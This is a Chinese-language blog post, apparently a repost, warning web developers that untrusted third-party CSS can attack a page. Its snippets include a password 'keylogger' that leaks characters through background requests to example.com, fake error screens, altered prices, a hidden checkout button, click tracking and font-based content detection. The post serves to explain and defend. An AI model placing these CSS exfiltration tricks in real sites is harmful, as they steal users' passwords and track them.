作者:Yeaseon
Blog: yeaseonzhang.github.io/
原文連結:檢視原文
前言
為了實現高效開發,大多數時候會選擇別人實現好的庫/元件引用到自己的專案中,但是這樣真的安全嗎?
大多數web開發者認為只要不使用別人的 JS
,安全就會有保證。Too young, too naive,殊不知“黑客”已經開始在 CSS
上做手腳了。
在瀏覽器設定中使用者可以禁用 JS
,但是 CSS
卻是沒有辦法禁用的。
首先聊一聊使用第三方資源,能夠造成的危害。
圖片
<img src="https://img.com/phone.jpg">
複製程式碼
引用第三方圖片資源,可能會出現2個問題:
- 圖片資源失效
- 圖片資源被替換
上圖展示了使用第三方圖片可能帶來的後果,即使圖片資源失效、或者圖片資源被替換,只會影響圖片自身的狀態而不會影響頁面其他部分。
指令碼
<script src="http://example.com/script.js"></script>
複製程式碼
指令碼的作用範圍就不是圖片能夠比擬的了,指令碼能夠隨意控制整個頁面。
- 讀取、篡改頁面內容
- 監控使用者行為
- 使用使用者瀏覽器的算力進行挖礦
- 使用使用者
cookie
做請求,並轉發響應 - 讀取、篡改瀏覽器
storage
- More
注:因為 localStorage
是持久儲存, 所以如果 localStorage
被更改,即使刪除了指令碼,這些更改仍然不可逆。
只有在信任第三方的情況下,才會選擇載入第三方指令碼,來保證使用者訪問的安全性。
下面來介紹本文的重頭戲 --- 第三方 CSS。
CSS
CSS 在作用範圍的方面更加接近於 JS,因為它同樣能在整個頁面生效,也能完成部分 JS 的操作。
CSS 能在以下幾個方面對頁面進行操作:
- 增、刪和改頁面內容
- 根據頁面內容發起請求
- 響應使用者互動
與 JS 相比,CSS 不能做到的是修改 storage
,也不能用來挖礦。
鍵盤記錄器
鍵盤記錄器,指的是頁面會記錄使用者的輸入。目前這種行為只存在於使用 React / 類React 框架的頁面。
input[type="password"][value$="p"] {
background: url(//example.com/password?p);
}
複製程式碼
如果密碼輸入框,輸入以 p
結尾的密碼,就會發起一個 //exaple.com/password?p
請求。瀏覽器預設不會記住 input
輸入框的輸入,這也就是為什麼說這種行為只存在於使用 React / 類React 框架的頁面中,下面擷取兩個例子。
如果沒有使用 React / 類React 框架,輸入框的內容不會在 input
標籤中顯示 value
屬性。
某圖片網站使用的是 React 框架,會把輸入框的內容同步顯示在 input
的 value
屬性中。這樣 CSS 屬性選擇器 [value$="p"]
就能檢測使用者輸入,從而導致使用者輸入被第三方捕獲。
有沒有通過這個例子,覺得 CSS 比你想象的強大的多,失控的 CSS 也能對頁面造成很大的危害。
隱藏內容
通過一些技巧,將真正的頁面內容不展示給使用者。
body {
display: none;
}
html::after {
content: 'HTTP 500 Server Error';
}
複製程式碼
上例將真正的主體內容隱藏,展示給使用者 HTTP 500 錯誤,讓使用者誤以為是網站伺服器出現了問題。
同樣可以展示任意 HTTP 錯誤給使用者,網頁的常見錯誤有以下幾種:
- HTTP 400: 請求無效
- HTTP 403: 禁止訪問
- HTTP 404: 未找到頁面
- HTTP 500: 內部伺服器錯誤
增加內容
.price-value::after {
content: '9';
}
複製程式碼
為價格樣式,增加 :before
/ :after
這樣的偽元素,然後偽元素的 content
屬性中增加任一位數字,商品價格就增加了約10倍。
商品漲價了誒,估計連賣家都不知道。遇到這種情況使用者一般都不會產生購買慾望了。
移動內容
.move-purchase-button {
opacity: 0;
position: absolute;
top: 100px;
left: 100px;
}
複製程式碼
通過 opacity
將 結算按鈕 的透明度設定為100%隱藏元素,讓使用者不可見,但是依然佔據空間。然後再通過一個絕對定位,這樣 結算按鈕 本來佔據的空間就脫離普通流,並且將按鈕移動至使用者點選不到的位置;同樣上述的 CSS 也可以使用簡單的 display: none;
去隱藏按鈕。
遇到上述情況,使用者根本沒辦法完成購買行為,這種情況對電商網站很傷,導致“只能看不能買”。
監控使用者互動
.login-button:hover {
background: url('//example.com/login-button-hover');
}
.login-button:active {
background: url('//example.com/login-button-active');
}
複製程式碼
通過上面的程式碼,可以用來檢測使用者在登入按鈕的互動狀態,是 hover
還是 active
(點選),不同的狀態會傳送不同的請求。
如果頁面中適量增加類似 CSS
程式碼,可以用來做 使用者畫像 分析。
當然也可以用來做簡單連結埋點,記錄某個連結的點選。
.link:active::after {
content: url('//example.com/link-1/view/count.php?action=visit');
}
複製程式碼
讀取頁面內容
font-face {
font-family: blah;
src: url(//example.com/page-contains-q) format('woff');
unicode-range: U+71;
}
html {
font-family: blah, sans-serif;
}
複製程式碼
偽造一種字型 blah
,如果頁面中有在 unicode-range
範圍內的字元就會傳送設定好的請求,我們這裡例子是字元 q
。
注:@font-face
中的請求會在開發控制檯的 Network -> font 型別中看到。
也許你覺得只能檢測頁面中的單個字元作用很小,那我給你介紹一個css的新屬性 font-variant-ligatures
,通過這個屬性我們可以設定字元為連字效果。
但是目前只有 OpenType 字型支援連字效果,不同的 OpenType 字型連字顯示的效果也不一致。
啟用連字效果
body {
font-feature-settings: "liga" 1;
}
supports (font-variant-ligatures: common-ligatures) {
body {
font-feature-settings: normal;
font-variant-ligatures: common-ligatures;
}
}
複製程式碼
全部都設定完成之後,我們就可以檢測特定的連字字元。比如 ff 連字的unicode碼就是 \ufb00
。
查詢 unicode 碼對應哪些字元,可以通過 Unicode® character table (https://unicode-table.com/en/) 進行查詢。
總結
通過以上的幾個 CSS 的例子,你是不是覺得 CSS 也同樣強大,不授信的 第三方 CSS 也不可輕易採用。
總結一下,自己的 CSS,還得自己寫。。。
更多內容請關注我們團隊的公眾賬號“全棧探索”。定期會有好文推送,滿滿的乾貨。